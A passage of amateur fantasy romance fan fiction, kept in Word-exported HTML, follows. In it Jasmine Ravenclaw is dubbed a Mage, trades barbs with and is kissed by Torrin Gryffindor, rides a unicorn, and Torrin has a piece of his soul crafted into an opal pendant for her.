children.&#8221;&nbsp;\nGodric replied with a gentle hand gesture he signaled that it was time\nto head into the Great Hall for the ceremony</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nthought a moment, maybe she would speak with Torrin, yeah right if the sky all\nof a sudden decided to fall and it was then end of existence, maybe even then\nshe would remain silent.&nbsp; The entered the\nGreat Hall just as King Malcomb was starting his speech.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Malcomb\nrubbed his hands on his red velvet robe, &#8220;I would like to welcome you all\ntonight and remember tonight everyone is equal so eat, drink and be merry. Now\nto some important business before we get down to the pleasantries.&nbsp; Tonight a young lady returned to us from four\nyears of studying with the great Merlin, we have been informed that this young\nlady used great magic skill during times of war fighting along side with\nCamelot, Merlin requested we give her the title of Mage as she is worthy.&nbsp; Your council has approved of this will you\nplease step forth Jasmine Ravenclaw.&#8221; He smiled seeing the young woman approach\nhim to stand before him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Kneel\nmy dear.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\ngot down on her knees in front of the king and someone handed him a sword, &#8220;I\ndub thee Lady Jasmine Ravenclaw Order Of The Mage.&#8221; He tapped her shoulders\ngently with the sword.&nbsp; &#8220;You may rise\nLady Ravenclaw.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nfrom the corner of his eye saw Kai approach him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Torrin\ndo you realize that we just said that Jasmine Ravenclaw was pretty.&#8221; He made a\nvomiting motion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nI realize that, and it&#8217;s true.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now\nthat I know it&#8217;s her, she doesn&#8217;t look that good to me.&nbsp; I&#8217;m gonna go spend some time with Clarisse,\nsince you obviously don&#8217;t want to anymore.&#8221; Kai left Torrin standing alone who\nwas watching Jasmine get her Title.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\ncarrying his spell book was walking through the village, he spotted Jasmine\ntalking with the local barmaid, one that he knew very well at times.&nbsp; He still hadn&#8217;t spoken to Jasmine since he\nsaw her at the celebration last week.&nbsp; He\nsat down at the table next to theirs they didn&#8217;t even notice him they were so\ninvolved in their conversation. They were eating something, probably the\nmid-day meal.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are\nyou sure you don&#8217;t want me to help you, those people shouldn&#8217;t be treating you\nthat way.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Jasmine\nyou&#8217;re buying me mid-day meal, that&#8217;s all I will accept from you, I make my own\nway.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nsometimes you need a little help, you were just robbed for heaven&#8217;s sake.&nbsp; Please Alina allow me to help you out.&#8221;&nbsp; Jasmine searched the girl&#8217;s eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nI&#8217;ll be alright Jasmine, they got a right beating from you they did.&nbsp; I don&#8217;t think they&#8217;ll mess with me or you\nagain.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All\nI did was a simple exploding charm on their boots, and then I used the same\ncharm on their clothing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah\nit was great, they had to run buck naked through the village to get to their\nhovels, I couldn&#8217;t stop laughing.&#8221; Alina broke into a fit of giggles\nagain.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alina\ncould you possibly stop that excessive giggling, people here are trying to read.&#8221;\nTorrin&#8217;s voice from the table next to theirs alerted him to their\npresence.&nbsp; He turned and faced the two\nladies.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine&#8217;s\neyebrow arched, last time she saw him was at the celebration last week, and it\nwas from a distance, now she had the chance to see him up close. Well he\ncertainly looked different just the sight of him cause her to stomach to flip\nover.&nbsp; She shook her head. <i style="mso-bidi-font-style:normal">Remember, he was always mean to you,</i> she\nthought to herself.&nbsp; &#8220;Well, well, if it isn&#8217;t\nTorrin Gryffindor. Who&#8217;s always behaving like an ass.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nshook his head with disbelief, &#8220;did you just insult me?&#8221; No one ever insulted\nhim, especially members of the opposite sex.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nleaned a bit towards Alina &#8220;boy, he&#8217;s a smart one isn&#8217;t he?&#8221; She said\nsarcastically and still loud enough for him to hear, she would continue insult\nTorrin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ncan&#8217;t believe you just insulted me Ravenclaw.&nbsp;\nYou have a lot of nerve, what have you come back here for, just to stir\nup trouble?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\nyou do that fine on your own.&nbsp; I wouldn&#8217;t\nbe surprised if you got a few little ones running around the world somewhere.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\ntossed his book on the table, &#8220;just what is that suppose to mean?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just\nthat news has spread about you Gryffindor, spread as far as Camelot, possibly\neven further.&#8221;&nbsp; Jasmine could tell he was\nconfused, &#8220;you want to know how the word was spread about you, a few young\ncourt ladies were talking in the village square while I was in Camelot, and\nwell upon their visit to their cousin&#8217;s or uncle&#8217;s or other family members well\nit was said that you prey upon the innocence of every pretty face that turns\nyour head. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\nseems I&#8217;m pretty well known.&#8221; He said with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\nnot something to be proud of, it&#8217;s downright disgusting.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Maybe\nin your opinion, you seemed to be awfully concerned about my reputation, how\nsweet.&#8221; Torrin was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Concerned\nisn&#8217;t the word, disgusted is more like it.&#8221; Jasmine shook her head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nyou&#8217;re a pretty face, and the question is do you turn my head?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine&#8217;s\neyes narrowed in anger, <i style="mso-bidi-font-style:normal">how dare he\ncompliment me!&nbsp; He&#8217;ll just find some way\nto turn it into an insult </i>&nbsp;Her mind\nshouted.&nbsp; She turned to Alina, &#8220;I think\nI&#8217;m finished with lunch now, I&#8217;ll be on my way.&nbsp;\nIt was good talking to you Alina.&#8221;&nbsp;\nShe stood up from the table, glaring at Torrin. Before tossing her nose\nin the air and walking off.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nturned to Alina and tossed her the book, &#8220;keep an eye on this for me, I&#8217;ll be\nback.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nnot your slave Torrin, it&#8217;s your book.&#8221; Alina shot back with a glare in her\neyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\ntossed her three silvers, &#8220;here I&#8217;ll pay you to watch the book.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nsilvers landed in her hand and she gave a soft smile as she saw Torrin quickly\nrushing after Jasmine.&nbsp; &#8220;Yes good bloody\nluck in getting that lady, she won&#8217;t fall for your tricks she much too smart.&#8221;\nShe said quietly to herself with a small giggle. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nfinally caught up with Jasmine and he stopped right in front of her, causing\nher to glare at him more.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nare in my way.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow.&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nrolled her eyes and tried to side step him, <i style="mso-bidi-font-style:normal">arrogant\nfool!</i> She thought bitterly as he continued to stand in her way.&nbsp; &#8220;Excuse me!&#8221; She was becoming impatient, &#8220;I\nsuggest you get out of my way before I hex you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look\nI&#8217;m sorry for what I said back there,&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nfelt confused for a moment, &#8220;wait a moment, you stopped me because you wanted\nto apologize?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes.&#8221;\nHe said with a genuine smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">That\nsmile almost caused her to loose the use of her legs, she felt her bones turn\nto butter.&nbsp; She closed her eyes <i style="mso-bidi-font-style:normal">get a grip!&nbsp;\nHe&#8217;s just a man</i> she told herself, <i style="mso-bidi-font-style:\nnormal">yeah a really attractive man,</i> her mind said after.&nbsp; <i style="mso-bidi-font-style:normal">No, no,\nno. Remember he&#8217;s just gonna come up with some kind of insult, he&#8217;s an ass.&#8221; </i>&nbsp;She said to herself and was able to get a hold\nof her emotions and her eyes snapped open.&nbsp;\n&#8220;Well I don&#8217;t accept your apology.&#8221; She brushed past him to walk away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nwasn&#8217;t used to having ladies turn their backs on him, he acted quick and\ngrasped her hand before she could get away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nwhipped around glaring at him, &#8220;how dare you touch me.&#8221; She found she couldn&#8217;t\nkeep the glare, she rather liked the feel of his hand on hers, she felt slight\ntingles travel through her body.&nbsp; <i style="mso-bidi-font-style:normal">What&#8217;s the matter with you, don&#8217;t be weak!</i>\nHer mind shouted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\nwon&#8217;t you accept my apology? I didn&#8217;t even say anything remotely wrong.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Then\nif you didn&#8217;t say anything wrong, don&#8217;t apologize.&#8221; She pulled her hand from\nhis.&#8221; She had to get out of there, she was loosing her mind and to Torrin\nGryffindor for that matter, they hate each other, it was no excuse to be\nfeeling that way around him.&#8221; She turned on her heels and walked away from him\nin a rush.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nsmirked, he was making much progress it had only been two conversations, he was\ncertainly pleased with himself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s\nthe matter with me?&#8221; Jasmine said out loud, as she walked through the forest\n&#8220;every time I come in contact with him I loose my mind, gee a month of running\ninto him is not doing me any good, I should just stay away.&#8221; On the other side\nof a row of trees she saw a flash of white rush past her.&nbsp; She stopped feeling slightly eerie, Jasmine\nstarted walking again and something abruptly stopped in front of her, she gave\na squeal.&nbsp; But then realized that the\ncreature made no further move.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Oh\nit was so beautiful, she knew there were unicorns in the forest but she had\nnever seen one up close before.&nbsp; It\nstared into her brown eyes, as if searching something.&nbsp; It moved closer to her and nuzzled its nose\nagainst her cheek.&nbsp; Jasmine laughed\nslightly, and patted it on the nose softly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It\nkneeled down before her, &#8220;what is it that you want?&#8221;&nbsp; Jasmine thought a moment, <i style="mso-bidi-font-style:normal">what would it do if I?&nbsp; </i>She asked herself and put on leg over the\nkneeling unicorn so that she was sitting on it, it stood to it&#8217;s full height.\nJasmine immediately felt at ease, nothing was bothering her, her mind was clear\nand she felt a certain joy travel through her.&nbsp;\nThe Unicorn took off in a small run to the pasture area away from the\nforest, she held tightly to the mane as it picked up it&#8217;s pace.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nwalked over the tiny hill towards the forest, he came across the pasture and\nsaw a sight so pure that he just stood there staring.&nbsp; Was it possible?&nbsp; He never knew of unicorns to allow a human\nrider.&nbsp; He found himself smiling as she\nrode the majestic beast without a care in the world. When it finally came to a\nhalt near a tall pine tree it kneeled down and Jasmine slid off.&nbsp; As soon as the unicorn was upright again, it\nnuzzled her cheek once more.&nbsp; She smiled\ninto its eyes and it trotted off back into the forest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nturned around to find Torrin standing there, &#8220;Oh great, what are you doing\nhere?&#8221; She was annoyed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ncan walk here same as you, I wanted to admire the beauty of the forest.&#8221; Torrin\nreplied walking towards Jasmine to stop right in front of her, almost close\nenough to feel the heat radiating from her body.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nthen go walk.&#8221; Jasmine snapped looking up at his much too handsome face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nchanged my mind, I think I&#8217;ll admire the beauty of what&#8217;s in front of me if you\ndon&#8217;t mind.&#8221; He was looking right at her</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nknew what he was implying and her eyes narrowed in anger, &#8220;I do mind.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nsmirked and took one step closer, as if on cue she took one step back.&nbsp; He took another step towards her and she took\nanother one back, but this time she couldn&#8217;t go any further for she was up\nagainst a tree. She glanced around nervously, she didn&#8217;t even notice Torrin\nstepping one more step practically pinning her to the tree.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s\nthe matter Jasmine,&#8221; He whispered slyly, &#8220;do you fear me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ye&#8212;No.&#8221;\nShe blurted out a little too quickly.&nbsp;\nHer mind was turning to mush with him so close, she could smell the\nscent of him and felt slightly intoxicated.&nbsp;\nShe cleared her throat &#8220;I mean no, I don&#8217;t fear anything.&#8221; She said\ntrying to sound calm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nlifted a hand and pressed it against her cheek, &#8220;I&#8217;m not really all that bad you\nknow.&#8221; Torrin whispered as he leaned in closer, so close that his mouth was\nhovering inches from hers.&nbsp; He stared\ndirectly into her eyes.&nbsp; He brought his\nother hand up cupping her other cheek.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her\nheart was pounding fiercely, aching to break out.&nbsp; Jasmine was sure lucky she pressed up against\nthe tree or she would have fallen to the ground as she lost the use of her\nlegs.&nbsp; <i style="mso-bidi-font-style:\nnormal">He&#8217;s trying to kiss you, don&#8217;t let him!&nbsp;\nSTOP!!</i> Her mind shouted. <i style="mso-bidi-font-style:normal">Get\naway from hi&#8212;&#8221; </i>Her mind melted as his lips where now crushed against\nhers.&nbsp; She could no longer think, her\nmind has betrayed her and left her on her own.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nsavored the feel and taste of her lips, oh it was like heaven.&nbsp; But he wanted more.&nbsp; His tongue gently nudged against her lips\nmaking her gasp, he took advantage of it and his tongue entered the softness of\nher mouth, lightly flicking against hers, wanting to feel her respond to\nhim.&nbsp; As he deepened the kiss he pressed\nher harder against the tree.&nbsp; He dropped\nhis hands from her face and his fingers trailed down her shoulders, along her\narms.&nbsp; He grasped her hands and pulled\nher arms around his waist so that she was also holding onto him, he enjoyed the\nfeel of her arms wrapped around him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\ncouldn&#8217;t help it, she gave into his kiss and almost immediately joined in on\nthe play of lips and tongues.&nbsp; She\nrelished in the feel as his mouth completely covering over hers, as he kissed\nher slow and deep. An involuntary moan escaped her and he pulled her from the\ntree crushing her against him.&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">In\ntheir need for air Torrin pulled his mouth from hers, He took a breath looking\ndeeply into her eyes, which were still half closed and her breathing was\nerratic.&nbsp; &#8220;Jasmine.&#8221; He breathed out in a\nsilky whisper. He pressed his lips to the spot just below her ear, she shivered\na bit as he continued to move his mouth down her neck. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nangled her head a bit to give him easier access to her sensitive spots on her\nneck and throat.&nbsp; Her eyes closed it\ntotal and complete bliss. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\npulled back a bit gazing at her, he watched her wet her lips with the tip of\nher tongue, and he kissed her again. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;This time she wrapped her arms around his neck\nand held on tighter while he kissed her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nwas searching in a shop for just the right piece, but he just couldn&#8217;t find one\nthat suited.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow that look.&#8221; An older man with a long white beard said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nlooked up and came face to face with the old man. &#8220;Sir?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;The\nlook of love my boy, it&#8217;s written all over your face.&#8221; The old man said with a\nsmile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nyes, of course.&#8221; Torrin couldn&#8217;t help the sheepish grin as he thought about\nher. He looked down at the many choices, &#8220;I just can&#8217;t seem to find the right\npiece you know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nthis young lady, she&#8217;s something pretty special?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nnodded, &#8220;yes I think, you know she might be the one. And I need something\nreally rare and special that no one has seen.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If\nthis damsel loves you, it shouldn&#8217;t matter what you give her, even if you\ndidn&#8217;t give her anything at all except your heart.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know,\nshe is like how you said. She wouldn&#8217;t care if I gave her a gift.&nbsp; But I want to.&#8221; He said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow what you can give her, but this piece can&#8217;t be taken lightly. It&#8217;s is the\nmost important thing you can give another.&nbsp;\nYou have to be absolutely sure.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nwhat is it?&#8221; Torrin&#8217;s face lit up with excitement.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;A\npart of your soul.&#8221; The old man smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ncan do that?&#8221; Torrin looked at the old man as if he had grown another head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nI can, it&#8217;s very rare and only a few lovers have ever joined by giving a piece\nof their soul.&nbsp; It&#8217;s the most endearing\nshow of love you can do, but you have to be absolutely sure.&nbsp; Do you love her enough to give her a part of\nyou?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nthought a moment, &#8220;All right I&#8217;ll do it.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are\nyou sure?&#8221; The old man asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Absolutely.&#8221;\nTorrin nodded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come\nwith me into the back room.&#8221; The old man replied</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nfollowed the old man to the back room and sat down on a stool.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Shall\nwe begin?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Will\nit hurt?&#8221; Torrin&#8217;s face scrunched up a bit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\nyou will not feel a thing, you might feel a slight pull or a tightening in your\nchest, but you shouldn&#8217;t feel pain.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\ntook a deep breath &#8220;All right, I&#8217;m ready.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nold man sat directly in front of Torrin, he chanted something in an ancient\nlanguage and sure enough there was a tightening in his chest, he glanced down\nhis whole body was outlined in some kind of green aura and it was glowing\nbrightly, after the old man stopped chanting a small glass jar was filled half\nway with an opal like light that shimmered brightly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\ndidn&#8217;t even feel tired or empty, Torrin still felt as if he were the same.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now\nyou go wait out there while I craft it into something.&#8221; The old man said\nlooking at a piece of Torrin&#8217;s soul.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nnodded and went to stand out in the shop, after about a half hour the old man\nappeared through the door holding a ivory box with a rose carved into it.&nbsp; He walked up to Torrin and opened the box\nrevealing the prize piece.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nwas astounded, as he lifted it from the box.&nbsp;\n&#8220;Extraordinary!&#8221; He held in his hand what looking like a large opal that\nshimmered brightly on a silver braided chain.&nbsp;\n&#8220;So this is a piece of me huh?&#8221;&nbsp;\nHe set it back in the box.&nbsp; &#8220;Now\nwhat do I owe you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\nbother with the payment.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\nno I insist.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Listen\nto me, I don&#8217;t need to be paid. I get paid enough with helping out those who\nare in love.&#8221; The old man smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are\nyou sure, because I really feel I should pay you for all this work that you&#8217;ve\ndone.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nonsense,\njust go and give this to the damsel that you love, that&#8217;s payment enough.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nstarted for the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;By\nthe way, what&#8217;s her name?&#8221; The old man asked with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nturned around with a smile on his face, &#8220;Jasmine, Jasmine Ravenclaw.&#8221;&nbsp;&nbsp; And then he was gone.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" 